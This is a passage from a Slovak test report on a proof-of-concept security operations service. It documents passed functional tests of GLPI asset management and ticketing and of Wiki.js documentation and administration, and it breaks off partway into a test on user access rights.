4. Na hlavhom dashboarde sa overil sumarizovany prehlfad o evidovanych IT aktivach —
poCet zaznamov v jednotlivych kategériach (pocitace, sietové zariadenia, softvér) a
prehlad infrastruktury vratane informacii o pouzivateloch a organiza¢nych entitach.

5. V sekcii Assets — Computers sa overil existujuci zaznam o pocitaci alebo sa vytvoril
novy — zadal sa nazov, typ, organiza¢na entita (Entity), stav a pripadne dalSie atributy.

6. Overila sa moznost editacie existujuceho zaznamu o aktive — zmena atributu a
ulozenie zmeny.

7. Overila sa moznost vymazania testovacieho zaznamu o aktive — odstranenie zaznamu
a potvrdenie, Ze sa v evidencii uz nenachadza.

8. Overila sa moznost priradenia aktiva k organiza¢nej jednotke a k pouzivatelovi — vazba
medzi aktivom a jeho vlastnikom/zodpovednou osobou.

9. Overila sa schopnost systému rozliSovat aktiva podla typu — navigacia medzi roznymi

typmi aktiv (pocitaCe, sietové zariadenia, softvér) v bo€nom paneli rozhrania.

Ocakavany vysledok: O¢akavanym vysledkom je, Zze GLPI bude v prostredi PoC dostupny
cez webové rozhranie, umozni UspeSné prihlasenie a poskytne funkéné pouzivatelské
rozhranie pre spravu IT aktiv. Dashboard ma zobrazovat sumarizovany prehlad o evidovanych
aktivach v jednotlivych kategdriach. CMDB funkcionalita ma byt aktivna — systém ma
umoziiovat vytvorenie, editaciu a mazanie zaznamov o aktivach, ich priradenie k
organizaénym jednotkam a pouzivatelom a rozliSenie podla typu.

Skutoény vysledok: GLPI bol v testovacom prostredi dostupny a webové rozhranie sa
nacitalo korektne. Prihlasenie bolo uspesné a po prihlaseni boli dostupné vSetky hlavné sekcie
rozhrania. Dashboard zobrazoval sumarizované kategorie aktiv (pocitace, sietové zariadenia,
softvér) spolu so Statistikami a prehladmi infrastruktiry doplnenymi o informacie o
pouzivateloch a organizacnych entitach. V sekcii Assets boli dostupné kategdrie aktiv a
systém umozioval vytvaranie, editaciu a mazanie zaznamov o aktivach. Zaznamy obsahovali
atributy ako nazov, typ, organizacna entita, stav a vlastnik. Vymazanie testovacieho zaznamu
prebehlo korekthe — zaznam sa po odstraneni v evidencii nenachadzal. Priradenie aktiva k
organizacnej jednotke a pouzivatelovi bolo funk&né. Navigacia medzi typmi aktiv v boénom
paneli fungovala korektne. PoCas testu neboli pozorované kritické chyby.

Vyhodnotenie testu: Splnené.

Na zaklade vykonaného overenia mozno konstatovat, Ze GLPI bol v prostredi PoC
uspeSne nasadeny a sprevadzkovany. Test potvrdil, Ze systém je dostupny, CMDB
funkcionalita je aktivna a umoziuje vytvaranie, editaciu a mazanie zaznamov o IT aktivach s
rozliSenim podla typu a priradenim k organizatnym entitam a pouZzivatefom.

Zistenia a poznamky: Test TS-GLPI-01 overoval zakladnu dostupnost a prevadzkovu
pripravenost CMDB modulu, nie integracné vazby s ostatnymi komponentmi. Dashboard
poskytoval prehlad na urovni zakladnej evidencie, €¢o zodpoveda aktualnemu stavu nasadenia
v PoC. Rozlisenie aktiv podla typu umoznuje kategorizaciu a lepSiu organizaciu evidencie, ¢o
je predpoklad pre efektivne riadenie zranitelnosti a incidentov v kontexte konkrétnych aktiv.
Overenie vSetkych troch operacii (vytvorenie, editacia, mazanie) potvrdilo uplnost CRUD
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funkcionality CMDB modulu. Test vytvoril predpoklad pre dalSie testy zamerané na ticketing
systém a rozSirenu evidenciu softvérovych aktiv.

Zaver: Test preukazal, ze GLPI je v prostredi PoC dostupny, zakladne funkény a poskytuje
pouzitelny zaklad pre evidenciu IT aktiv a spravu CMDB udajov. Tym bola potvrdena jeho
pripravenost na podporu procesov spravy aktiv v ramci SOCaaS rieSenia INNOSOC.

12.2 TC-GLPI-02 Overenie ticketingového systému a riadenia
zivotného cyklu incidentov

Typ testu: Funkcny test

Ugel testu: Overit, &i ticketing systém v GLPI umoZfiuje vytvaranie, priradovanie a sledovanie
ticketov (incidentov a poziadaviek) a i zabezpecuje riadenie ich Zivotného cyklu od nahlasenia
po vyrieSenie. Zaroven overit, ze dashboard modulu Assistance poskytuje operativny prehfad
prostrednictvom suhrnnych metrik, vizualizacnych prvkov a agregovanych pohladov na
kategorie a stavy ticketov. Test overuje rolu GLPI ako procesnej a riadiacej vrstvy incident
managementu, kde su bezpe€nostné udalosti transformované na ticketové zaznamy a
sledovany ich zivotny cyklus.

Predmet overenia: Predmetom testu je overenie funkénosti ticketing modulu GLPI v prostredi
PoC. Overovalo sa, i systém umoziiuje vytvorit novy ticket, priradit mu kategoriu, prioritu a
zodpovednu osobu. Overoval sa zivotny cyklus ticketu — prechod medzi stavmi (novy,
spracovavany, vyrieSeny) a evidencia zmien stavov. Overoval sa dashboard modulu
Assistance — zobrazenie suhrnnych metrik (celkovy pocet ticketov, oneskoréne tickety,
problémy, zmeny), &asovych grafov zobrazujlucich vyvoj ticketov a stipcovych grafov
reprezentujucich stavy ticketov podla mesiacov. Overovali sa aj agregované pohlady na
kategorie ticketov, typy poziadaviek a organizacné entity.

Vychodiskovy stav: GLPI bol nasadeny a dostupny (overené testom TS-GLPI-01). CMDB
obsahovala evidované aktiva, pouzivatelov a organizacné jednotky. Ticketing modul bol
aktivny a v systéme boli evidované tickety — podla dashboardu modulu Assistance celkovy
pocet 17 ticketov. Systém bol nakonfigurovany na pracu s ticketmi typu incident a poziadavka,
s definovanymi kategériami, prioritami a stavmi Zivotného cyklu.

Postup testu:

1. V sekcii Assistance — Dashboard sa overil operativny prehfad — suhrnné metriky
zobrazujuce celkovy pocet ticketov, po€et oneskorenych ticketov, problémov a zmien.

2. Overili sa vizualizacné prvky dashboardu — ¢asovy graf zobrazujuci vyvoj ticketov za
sledované obdobie a stipcovy graf reprezentujuci stavy ticketov podla mesiacov (nové,
spracovavané, vyrieSené).

3. Overili sa agregované pohlady na kategérie ticketov, typy poziadaviek a organizacné
entity — identifikacia najviac zataZzenych oblasti a najCastejSich typov incidentov.

4. V sekcii Assistance — Tickets sa overil zoznam existujucich ticketov a ich atributy —
identifikator, nazov, stav, priorita, priradena osoba, kategéria.

5. Vytvoril sa novy ticket typu incident — zadal sa nazov, popis, kategoria, priorita a
zodpovedna osoba.
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6. Overila sa moznost priradenia ticketu k aktivu z CMDB - prepojenie incidentu s
dotknutym zariadenim alebo systémom.
7. Overil sa prechod ticketu medzi stavmi zivotného cyklu — zmena stavu z ,novy“ na
,Spracovavany“ (priradenie analytikovi a zaCiatok rieSenia).
8. Overil sa dalSi prechod ticketu — zmena stavu na ,vyrieSeny“ po vykonani napravnych
opatreni.
9. Overila sa evidencia zmien stavov a Casovych udajov v ramci ticketu — historia
prechodu stavov, ¢asy priradenia a rieSenia.
10. Po vytvoreni noveho ticketu sa overil aktualizovany dashboard — zmena suhrnnych
metrik a zobrazenie nového ticketu v grafickych prehladoch.

Ocakavany vysledok: Ocakavanym vysledkom je, Ze ticketing systém GLPI umozni vytvorit
novy ticket, priradit mu kategoriu, prioritu a zodpovednu osobu a sledovat’ jeho Zivotny cyklus
od nahlasenia po vyrieSenie. Dashboard modulu Assistance ma zobrazovat suhrnné metriky,
vizualizaCné prvky a agregované pohlfady umoziiujuce operativny prehfad o stave ticketov.
Zmeny stavov maju byt evidované s ¢asovymi udajmi.

Skutoény vysledok: Ticketing systém GLPI bol v prostredi PoC funk&ny. Dashboard modulu
Assistance zobrazoval suhrnné metriky — celkovy pocet evidovanych ticketov, pocet
oneskorenych ticketov, problémov a zmien prostrednictvom farebne odliSenych panelov.
Casovy graf zobrazoval vyvoj ticketov za sledované obdobie a stipcovy graf reprezentoval
stavy ticketov podfa mesiacov (nové, spracovavané, vyrieSené). Agregované pohlady na
kategorie ticketov, typy poZiadaviek a organizacné entity boli dostupné a umoZzhovali
identifikaciu najviac zataZzenych oblasti. Vytvorenie nového ticketu typu incident bolo uspesné
— bolo mozné zadat nazov, popis, kategériu, prioritu, zodpovednu osobu a priradit’ ticket k
aktivu z CMDB. Vazba ticketu na konkrétne aktivum fungovala, ¢im bolo zabezpecené
prepojenie incidentu s dotknutym zariadenim. Prechody medzi stavmi zivotného cyklu ticketu
(novy — spracovavany — vyrieSeny) fungovali korektne. Histéria zmien stavov bola evidovana
s ¢asovymi udajmi. Po vytvoreni nového ticketu sa dashboard aktualizoval a zobrazil zmenené
metriky. PoCas testu neboli pozorované kritické chyby.

Vyhodnotenie testu: Splnené.

Na zaklade vykonaného overenia mozno konstatovat, Ze ticketing systém GLPI je v prostredi
PoC funkény a umoznuje riadenie zivotného cyklu incidentov od nahlasenia po vyrieSenie.
Dashboard modulu Assistance poskytuje operativny prehlad prostrednictvom suhrnnych
metrik a vizualizaCnych prvkov.

Zistenia a poznamky: Test TS-GLPI-02 overoval ticketing funkcionalitu v rozsahu PoC.
Dashboard modulu Assistance poskytoval Statistiky na urovni zakladnej evidencie a
spracovania ticketov, ¢o zodpoveda aktualnemu stavu nasadenia. Systém umoznil priradenie
ticketu k aktivu z CMDB, ¢€o z pohladu SOC architektury umoznuje priradit incident ku
konkrétnemu aktivu a identifikovat jeho vlastnika. Evidencia ¢asovych udajov a histérie zmien
stavov vytvara predpoklad pre buduce vyhodnocovanie efektivity rieSenia incidentov. V ramci
PoC neboli plne implementované integratné vazby na SIEM/SOAR — GLPI v tejto etape
nefunguje ako plne integrovany nastroj pre riadenie incidentov s automatickym obohacovania
dat, ale poskytuje pouzitelny zaklad pre dalSie rozSirenie. Test potvrdil vhodnost GLPI ako
procesnej a riadiacej vrstvy pre incident management v ramci SOC.

Zaver: Test preukazal, Ze ticketing systém GLPI je v prostredi PoC funkény, umozniuje riadenie
Zivotného cyklu incidentov a poskytuje operativny prehfad prostrednictvom dashboardu. Tym
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potvrdena jeho pouzitelnost ako procesnej vrstvy pre riadenie bezpecnostnych incidentov v
ramci SOCaaS rieSenia INNOSOC.

12.3 TS-GLPI-03 Overenie evidencie softvérovych aktiv, spravy
dokumentacie a podpory auditovatelnosti

Typ testu: Funkcny test

Ucel testu: Overit, &i GLPI umoznuje detailnu evidenciu softvérovych aktiv vratane verzii,
licencii a vazieb na zariadenia, spravu dokumentacie v ramci IT prostredia a podporu
auditovatelnosti zmien. Cielom je preverit, Ze systém poskytuje dostatocny kontextovy zaklad
pre identifikaciu zranitelného alebo zastaraného softvéru a pre podporu auditnych a
compliance procesov.

Predmet overenia: Predmetom testu je overenie schopnosti GLPI evidovat’ softvérové aktiva
s detailnymi atributmi a spravovat dokumentaciu v ramci PoC. V sekcii Assets — Software sa
overovala pritomnost softvérovych zaznamov s atributmi — nazov, vydavatel, verzia,
podporované operacné systémy, pocet inStalacii a informacie o licenciach. Overovala sa
vazba softvérovych aktiv na konkrétne zariadenia a vlastnikov, ¢o je predpoklad pre
kontextové vyhodnocovanie zranitefnosti. V sekcii Documents sa overovala centralizovana
sprava dokumentacie — pritomnost dokumentov s identifikatormi, priradenou entitou a odkazmi
na subory. Overovala sa aj auditovatelnost — schopnost systému evidovat zmeny a
poskytovat’ dohlfadatelnost zaznamov.

Vychodiskovy stav: GLPI bol nasadeny a dostupny (overené testom TS-GLPI-01). CMDB
obsahovala evidované aktiva vratane softvérovych poloziek zavedenych v ramci PoC. V sekcii
Assets — Software boli evidované softvéroveé aktiva (napr. VPN, Microsoft 365, Windows 11).
Sekcia Documents obsahovala dokumenty naviazané na IT prostredie. Systém bol
konfiguraCne pripraveny na spravu pouzivatelov, roli a vazieb medzi aktivami.

Postup testu:

1. V sekcii Assets — Software sa overil tabulkovy prehlad softvérovych poloziek —
pritomnost zaznamov s nazvom softvéru, organizacnou entitou (Entity), vydavatelom
(Publisher), verziami a podporovanymi operanymi systémami.

2. Pre vybranu softvérovu polozku sa overil detail zaznamu — pocet instalacii, informacie
o licenciach a vazba na konkrétne zariadenia, na ktorych je softvér nainstalovany.

3. Overila sa moznost filtrovania a vyhladavania softvérovych zdznamov podla réznych
kritérii — nazov, vydavatel, verzia.

4. Overila sa vazba softvérového aktiva na konkrétne zariadenie a vlastnika — navigacia
zo softvérovej polozky na priradené pocitate a zodpovedné osoby.

5. V sekcii Management — Documents sa overil tabulkovy prehlad dokumentov —
pritomnost zaznamov s identifikatormi, priradenou entitou a odkazmi na subory (PDF
a iné formaty).

6. Overila sa moznost prehliadania a stahovania dokumentov — korektnost odkazov na
ulozené subory.
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7. Overila sa schopnost systému evidovat zmeny v zaznamoch — zobrazenie historie
zmien pri vybranom aktive alebo tickete vratane informacie o tom, kto a kedy zmenu
vykonal.

8. Overila sa dohladatefnost zaznamov — moznost spatne dohfadat’ stav aktiva, jeho
zmeny a vazby na incidenty alebo dokumenty.

9. Overila sa navigacia medzi prepojenymi zaznamami — z aktiva na priradeny softvér, z
ticketu na dotknuté aktivum, z dokumentu na priradenu entitu.

Ocakavany vysledok: O¢akavanym vysledkom je, Zze GLPI bude evidovat softvérové aktiva
s detailnymi atributmi (nazov, vydavatel, verzia, inStalacie, licencie) a umozni ich vazbu na
zariadenia a vlastnikov. Sekcia Documents ma obsahovat centralizovanu evidenciu
dokumentécie s identifikatormi a odkazmi na subory. Systém ma poskytovat historiu zmien a
dohladatelnost zaznamov pre podporu auditnych procesov. Navigacia medzi prepojenymi
zaznamami ma byt funkcéna.

Skutoény vysledok: V sekcii Assets — Software boli evidované softvérové polozky s
relevantnymi atributmi — nazov softvéru (napr. VPN, Microsoft 365, Windows 11), organiza¢na
entita, vydavatel, verzie, podporované operacné systémy, pocet instalacii a informacie o
licenciach. Detail softvérovej poloZzky zobrazoval vazbu na konkrétne zariadenia a vlastnikov.
Filtrovanie a vyhladavanie softvérovych zdznamov bolo funkéné. Navigacia zo softvérovej
polozky na priradené pocitate a zodpovedné osoby fungovala korektne. V sekcii Documents
boli evidované dokumenty s identifikatormi, priradenou entitou a odkazmi na subory (PDF).
Prehliadanie a stahovanie dokumentov bolo funkéné. Systém evidoval histériu zmien pri
zaznamoch — bolo mozné zobrazit, kto a kedy vykonal zmenu v aktive alebo tickete.
Dohladatelnost zaznamov bola zabezpeena — bolo mozné spatne dohladat’ stav aktiva, jeho
zmeny a vazby. Navigacia medzi prepojenymi zaznamami (aktivum — softvér, ticket —
aktivum, dokument — entita) fungovala korektne. PoCas testu neboli pozorované kritické
chyby.

Vyhodnotenie testu: Splnené.

Na zaklade vykonaného overenia mozno konstatovat, ze GLPI poskytuje detailnu
evidenciu softvérovych aktiv, centralizovanu spravu dokumentacie a podporu auditovatelnosti
zmien v prostredi PoC.

Zistenia a poznamky: Test TS-GLPI-03 overoval rozSirené CMDB a dokumentacné
funkcionality v rozsahu PoC. Evidencia softvérovych aktiv s informaciami o verziach,
licenciach a vazbou na zariadenia je z pohladu SOC architektury kliCova pre identifikaciu
zranitelného alebo zastaraného softvéru a pre podporu riadenia zranitelnosti v kontexte
konkrétnych aplikacii. Vazba softvérového aktiva na konkrétne zariadenie a vlastnika
umoznuje pri identifikacii zranitelnosti okamzite urcit dotknuté systémy a zodpovedné osoby.
Centralizovana sprava dokumentacie zabezpecuje dohladatelnost protokolov, zaznamov a
zmluvnej dokumentécie, €o je dblezité z pohladu auditu a procesného riadenia v SOC
prostredi. Histéria zmien vytvara auditny zaznam, ktory je predpokladom pre spatné skumanie
a compliance. V ramci PoC neboli plne rozvinuté pokrocilé auditné funkcionality ani
automatizované vazby na SIEM/SOAR, o zodpoveda aktualnemu stavu nasadenia a
dokumentovanym obmedzeniam.

Zaver: Test preukazal, ze GLPI je v prostredi PoC schopny evidovat softvérové aktiva s
detailnymi atributmi, spravovat dokumentaciu a poskytovat’ podporu auditovatefnosti zmien.
Tym bola potvrdena jeho pouzitelnost’ ako evidencnej a kontextovej vrstvy v ramci SOCaaS
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rieSenia INNOSOC, ktora dopina technické bezpe&nostné komponenty o procesny a
organizacny kontext.

12.4 Suhrnné hodnotenie testovania funkénosti komponentu GLPI

Identifikator ‘ Nazov testu

Overovana oblast’

‘ Vyhodnotenie

Overenie dostupnosti, rl\:;i?gre:geb\;\vﬂ%bgve
TS-GLPI-01 evidencie IT aktiv a Funkény test . L . Splnené
CMDB funk&nosti eV|(’1enC|a, kategorizacia
aktiv
t?c\llfertei}r:“%vého svstému Ticketing, Zivotny cyklus
TS-GLPI-02 a riadegia 2ivotn}ého Funkény test incidentov, dashboard Splnené
o Assistance
cyklu incidentov
Overenie evidencie Softvérové aktiva
TS-GLPI-03 Zgﬁnfggﬂgg:gﬂv’ Funkény test dokumentacia, Splnené
auditovatermnosti auditovatelnost, vazby
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13 Overenie spravy dokumentacie, pristupovych prav a
verziovania vo Wiki.js

Testovanie komponentu Wiki.js bolo zamerané na overenie jeho schopnosti plnit’ lohu
centralneho nastroja pre spravu znalostnej bazy a internej dokumentacie v ramci PoC. Testy
boli rozdelené do troch oblasti pokryvajucich klu¢ové funkcionality dokumentaéného systému:
(1) dostupnost’ nasadenia, administracné rozhranie a systémové informacie, (2) tvorba,
editacia a Strukturovanie dokumentacie vratane runbookov, playbookov a prevadzkovych
postupov s overenim navigacie a komentarov a (3) sprava pouzivatelov, skupin, roli a
pristupovych prav vratane hostovského pristupu a self-registracie. Testovanie v ramci V16
bolo zamerané na overenie zakladnej funkénosti nasadeného systému — pokrocilé scenare
integracie so SOC komponentmi su predmetom samostatného vystupu.

13.1 TS-WIKI-01 Overenie dostupnosti, nasadenia a administracie
Wiki.js

Identifikator testu: TS-WIKI-01
Nazov testu: Overenie dostupnosti, nasadenia a administracie Wiki.js
Typ testu: Funkcny test

Ugel testu: Overit, & je Wiki.js v prostredi PoC korektne nasadeny, dostupny cez webové
rozhranie a pripraveny na prevadzku ako centralny nastroj pre spravu znalostnej bazy.
Zaroven overit, Ze administrané rozhranie poskytuje prehlad o stave znalostnej bazy,
systémovych metrikach a umoZznuje spravu zakladnych prevadzkovych nastaveni. Test je
zamerany na overenie zakladnej prevadzkovej pripravenosti komponentu po jeho nasadeni v
kontajnerizovanom prostredi.

Predmet overenia: Predmetom testu je overenie zakladnej prevadzkovej pripravenosti
komponentu Wiki.js po jeho nasadeni v prostredi PoC. Test bol zamerany na to, &i je webové
rozhranie dostupné a funk&né, &i je prihlasenie uspedné a Ci systém poskytuje administracné
nastroje potrebné pre spravu znalostnej bazy. Overovalo sa, ¢i administraény dashboard
zobrazuje sumarizované informacie o stave znalostnej bazy — pocet stranok, pouzivatelov a
skupin — a zoznam naposledy upravenych alebo vytvorenych stranok. Overovala sa
dostupnost sekcie System Info s informaciami o verzii aplikacie, hostitelskom prostredi,
technologickom stacku a systémovych parametroch. Overovalo sa aj administratné menu a
jeho sekcie pre spravu obsahu, pouzivatelov, autentifikacie, vyhlfadavania a uloziska.

Vychodiskovy stav: Wiki.js bol nasadeny ako samostatna webova aplikacia prevadzkovana
kontajnerizacne s vyuzitim Docker prostredia a relacnej databazy PostgreSQL. Zakladna
konfiguracia bola zamerana na spristupnenie webového rozhrania a vytvorenie zakladnej
Struktury znalostnej bazy. Do systému boli zavedené zakladné dokumentaéné objekty —
runbooky, playbooky a interné postupy. Systém bol konfiguratne pripraveny na spravu
pouzivatelov, roli a pristupovych prav. Pred zaciatkom testu sa predpokladalo, Ze webova
sluzba je spustena a systém je pristupny cez webovy prehliadag.
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Postup testu:

1. Overila sa dostupnost’ webového rozhrania Wiki.js — otvorenim URL adresy v prehliadaci
sa overilo korektné nacitanie prihlasovacej obrazovky.

2. Vykonalo sa prihlasenie pomocou dostupného pouzivatelského u¢tu a overila sa
dostupnost’ hlavného rozhrania vratane navigacného panelu a obsahu znalostnej bazy.

3. Overil sa administracny dashboard — pritomnost sumarizaénych panelov s informaciami
o pocte stranok, pouzivatelov a skupin, ktoré ilustruju rozsah evidovanej dokumentacie
a pouzivatelskej zakladne.

4. Na administrathom dashboarde sa overil zoznam naposledy upravenych alebo
vytvorenych stranok, ktoré predstavuju jednotlivé dokumentaéné zaznamy (runbooky,
interné postupy).

5. Overila sa dostupnost administratného menu — pritomnost' sekcii pre spravu obsahu,
pouzivatelov, autentifikacie, vyhladavania, uloziska a dalSich systémovych nastaveni.

6. V sekcii System Info sa overili informacie o verzii aplikacie Wiki.js (aktualna a dostupna
verzia), udaje o hostitel[skom prostredi vratane operacného systému, hostname, poctu
CPU jadier a velkosti pamate.

7. V sekcii System Info sa overili informacie o technologickom stacku — verzia Node.js a
databazy PostgreSQL, ¢im sa potvrdilo korektné nasadenie aplikacie nad deklarovanym
technologickym zakladom.

Ocakavany vysledok: Ocakavanym vysledkom je, Zze Wiki.js bude v prostredi PoC dostupny
cez webové rozhranie, umozni Uspesné prihlasenie a poskytne funkéné administracné
rozhranie. Dashboard ma zobrazovat’ sumarizované informacie o stave znalostnej bazy (pocet
stranok, pouzivatelov, skupin) a zoznam naposledy upravenych stranok. Sekcia System Info
ma zobrazovat informacie o verzii aplikacie, hostitel[skom prostredi a technologickom stacku.
Administraéné menu ma byt dostupné so sekciami pre spravu obsahu, pouZivatelov,
autentifikacie, vyhladavania a uloziska.

Skutoény vysledok: Wiki.js bol v testovacom prostredi dostupny a webové rozhranie sa
nacitalo korektne. Prihlasenie bolo uspedné a po prihlaseni bol dostupny navigaény panel so
Strukturou stranok a obsahom znalostnej bazy. Administraény dashboard zobrazoval
sumarizacné panely s informaciami o pocte stranok, pouzivatelov a skupin. Zoznam
naposledy upravenych alebo vytvorenych stranok bol dostupny a zobrazoval dokumentacné
zaznamy zavedené v ramci PoC. Administratné menu bolo dostupné a obsahovalo sekcie pre
spravu obsahu, pouzivatelov, autentifikacie, vyhladavania, uloZiska a dalSich systémovych
nastaveni. V sekcii System Info boli zobrazené informacie o verzii aplikacie Wiki.js (aktualna
a dostupna verzia), udaje o hostitefskom prostredi vratane operacného systému, hostname,
poctu CPU jadier a velkosti pamate, ako aj informacie o technologickom stacku — verzia
Node.js a databazy PostgreSQL. Technologicky stack zodpovedal deklarovanému nasadeniu
(Docker, PostgreSQL). Poc&as testu neboli pozorované kritické chyby.

Vyhodnotenie testu: Splnené.

Na zaklade vykonaného overenia mozno konstatovat, ze Wiki.js bol v prostredi PoC uspesne
nasadeny a sprevadzkovany. Test potvrdil, Ze systém je dostupny, administracné rozhranie je
funkEné a poskytuje prehlad o stave znalostnej bazy a systémovych parametroch.

Zistenia a poznamky: Test TS-WIKI-01 overoval zakladnu dostupnost a prevadzkovu
pripravenost komponentu, nie integratné vazby s ostatnymi komponentmi SOC.
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Administraény dashboard poskytoval prehlad na urovni zakladnej evidencie, o zodpoveda
aktualnemu stavu nasadenia v PoC. Sekcia System Info potvrdila, Ze Wiki.js je prevadzkovany
nad deklarovanym technologickym stackom (Node.js, PostgreSQL), ¢o je ddlezité z hladiska
verifikacie infrastrukturnych predpokladov. Dostupnost’ administratného menu so sekciami pre
spravu obsahu, pouzivatelov, autentifikacie a dalSich nastaveni potvrdzuje, ze systém je
konfiguraCne pripraveny na prevadzku. Test vytvoril predpoklad pre dalSie testy zamerané na
tvorbu dokumentacie a spravu pouzivatelov.

Zaver: Test preukazal, ze Wiki.js je v prostredi PoC dostupny, zakladne funkény a poskytuje
pouzitelny zaklad pre spravu znalostnej bazy. Tym bola potvrdena jeho pripravenost na
podporu dokumentac¢nych a znalostnych procesov v ramci SOCaasS rieSenia INNOSOC.

13.2 TS-WIKI-02 Overenie tvorby, struktury a spravy dokumentacie
Identifikator testu: TS-WIKI-02

Nazov testu: Overenie tvorby, Struktury a spravy dokumentacie

Typ testu: Funkény test

Ugel testu: Overit, & Wiki.js umozfiuje tvorbu, editaciu a $trukturovanie dokumentacie v ramci
znalostnej bazy. Zaroven overit, ze systém podporuje tvorbu runbookov, playbookov a
prevadzkovych postupov so Strukturovanym clenenim do logickych Casti, navigaciu medzi
strankami a kolaborativne dopifanie informacii prostrednictvom komentarov. Test je zamerany
na overenie jadrovej funkénosti Wiki.js ako dokumenta¢ného nastroja pre SOC tim.

Predmet overenia: Predmetom testu je overenie schopnosti Wiki.js vytvarat, editovat a
Strukturovat’ dokumentaciu v prostredi PoC. Overovalo sa, ¢i systém umoziuje vytvorit novu
stranku, roz€lenit’ jej obsah do logickych sekcii a ulozit ju do znalostnej bazy. Overoval sa
navigacny panel so Strukturou stranok a moznost pohybu medzi jednotlivymi sekciami a
dokumentmi. Overovala sa pritomnost zavedenych runbookov, playbookov a internych
postupov, ktoré boli do systému zavedené v ramci PoC. Overovala sa sekcia komentarov,
ktora podporuje spolupracu a priebezné dopifianie informacii k dokumentom. Overovala sa aj
schopnost’ systému poskytnut’ Strukturované zobrazenie dokumentacie s rozdelenim do
pomenovanych sekcii.

Vychodiskovy stav: Wiki.js bol nasadeny a dostupny (overené testom TS-WIKI-01). V
systéme boli zavedené zakladné dokumentacné objekty — runbooky, playbooky a interné
postupy, ktoré sluzia ako referenény material pri prevadzke SOC. Znalostna baza obsahovala
existujuce stranky s obsahom a Struktirou. Systém bol pripraveny na tvorbu a editaciu
dokumentov prostrednictvom webového rozhrania.

Postup testu:

1. V navigatnom paneli sa overila Struktura existujucich stranok znalostnej bazy —
pritomnost zavedenych dokumentov (runbooky, playbooky, interné postupy) a ich
organizacia.

2. Otvorila sa existujuca stranka s runbookom alebo prevadzkovym postupom a overilo sa
jej Strukturované zobrazenie — rozdelenie obsahu do logickych €asti (napr. uvod, postup,
zaver) s moznostou navigacie medzi sekciami.
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. V sekcii komentarov pod strankou sa overila moznost’ pridania komentara, ¢im sa
potvrdila podpora spoluprace a priebezného dopifiania informacii k dokumentom.

4. Vytvorila sa nova stranka v znalostnej baze — zadal sa nazov, obsah roz¢leneny do
logickych sekcii a stranka sa ulozila.

5. Po uloZeni sa overilo, Ze nova stranka je dostupna v navigatnom paneli a jej obsah
zodpoveda zadanym udajom vratane Strukturovaného &lenenia do sekcii.

6. Vykonala sa editacia existujucej alebo novej stranky — Uprava obsahu, pridanie novej
sekcie a uloZzenie zmien.

7. Po ulozeni editacie sa overilo, Ze zmeny su korektne zobrazené a obsah stranky
zodpoveda vykonanym upravam.

8. Overila sa navigacia medzi strankami — pohyb medzi réznymi dokumentmi
prostrednictvom navigaéného panelu a overenie pristupu k jednotlivym runbookom,
playbookom a postupom.

w

Ocakavany vysledok: Ocakavanym vysledkom je, ze Wiki.js umozni vytvorit, editovat a
Strukturovat’ dokumentéaciu v ramci znalostnej bazy. Navigacny panel ma zobrazovat Strukturu
stranok a umoznovat pohyb medzi dokumentmi. Existujuce runbooky, playbooky a interné
postupy maju byt dostupné a Strukturované do logickych sekcii. Sekcia komentarov ma
podporovat spolupracu a dopifianie informacii. Nové stranky maju byt po uloZeni dostupné v
navigacnom paneli.

Skutoény vysledok: Navigacny panel zobrazoval Struktdru existujucich stranok znalostnej
bazy vratane zavedenych runbookov, playbookov a internych postupov. Otvorenie existujucej
stranky s runbookom potvrdilo Strukturované zobrazenie — obsah bol rozdeleny do logickych
Casti s moznostou navigacie medzi sekciami. Sekcia komentarov pod strankou bola funkéna
a umoznovala pridanie komentara, ¢im bola potvrdena podpora spoluprace. Vytvorenie novej
stranky bolo uspeSné — bolo mozné zadat nazov, obsah roz€leneny do logickych sekcii a
stranku ulozit. Po ulozeni sa nova stranka zobrazila v navigatnom paneli a jej obsah
zodpovedal zadanym udajom. Editacia stranky bola funkéna — Uprava obsahu, pridanie nove;j
sekcie a ulozenie zmien prebehlo korektne. Po ulozeni editacie boli zmeny korektne
zobrazené. Navigacia medzi strankami prostrednictvom navigaéného panelu fungovala a
umozfiovala pristup k jednotlivym dokumentom. Poc&as testu neboli pozorované kritické chyby.

Vyhodnotenie testu: Splnené.

Na zaklade vykonaného overenia mozno konStatovat, ze Wiki.js umoznuje tvorbu,
editaciu a Strukturovanie dokumentacie v ramci znalostnej bazy. Systém podporuje tvorbu
runbookov a prevadzkovych postupov so Strukturovanym €lenenim a umoZziuje kolaborativne
doplifianie informécii prostrednictvom komentarov.

Zistenia a poznamky: Test TS-WIKI-02 overoval jadrovu dokumentaénu funkcionalitu v
rozsahu PoC. Wiki.js potvrdil schopnost vytvarat a udrziavat Strukturovanu dokumentaciu, ¢o
je klucové pre systematicku spravu runbookov, playbookov a prevadzkovych postupov SOC
timu. NavigaCny panel so Strukturou stranok umozfiuje rychly pristup k definovanym
postupom, €o je z pohladu SOC architektury délezité pre efektivnu reakciu na incidenty. Sekcia
komentarov podporuje kolaborativne dopifianie a spresfiovanie dokumentacie, o prispieva k
priebeznému zlepSovaniu znalostnej bazy. V ramci PoC boli do systému zavedené zakladné
dokumentacéné objekty, ¢o potvrdzuje jeho prakticku vyuzitelnost. Vyuzitie Wiki.js v PoC ostalo
na urovni zakladnej dokumentacie bez SirSich integracnych vazieb na ostatné komponenty
SOC, ¢o zodpoveda dokumentovanym obmedzeniam a aktualnemu stavu nasadenia.
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Zaver: Test preukazal, ze Wiki.js je v prostredi PoC schopny sluzit ako nastroj pre tvorbu,
editaciu a spravu Strukturovanej dokumentacie. Tym bola potvrdena jeho pouzitelnost ako
znalostnej a dokumentacnej vrstvy v ramci SOCaaS rieSenia INNOSOC, ktora doplha
technické bezpecnostné komponenty o dokumentacny kontext.

13.3 TS-WIKI-03 Overenie spravy pouzivatelov, pristupovych prav a
verziovania obsahu

Identifikator testu: TS-WIKI-03
Nazov testu: Overenie spravy pouzivatelov, pristupovych prav a verziovania obsahu
Typ testu: Funkcny test

Ugel testu: Overit, & Wikijs umozZfiuje spravu pouzivatelov a ich profilov, riadenie
pristupovych prav prostrednictvom skupin a roli a verziovanie obsahu s evidenciou zmien.
Cielom je preverit, Ze systém zabezpecuje kontrolovany pristup k znalostnej baze a poskytuje
dohladatelnost zmien v dokumentécii, o je predpoklad pre auditovatelnost’ a riadenu spravu
znalosti v SOC prostredi.

Predmet overenia: Predmetom testu je overenie schopnosti Wiki.js spravovat pouzivateflov,
pristupové prava a verziovanie obsahu v prostredi PoC. V sekcii spravy pouzivatelského
profilu sa overovali informacie o pouzivatelovi (meno, lokalita, pracovna pozicia), konfiguracné
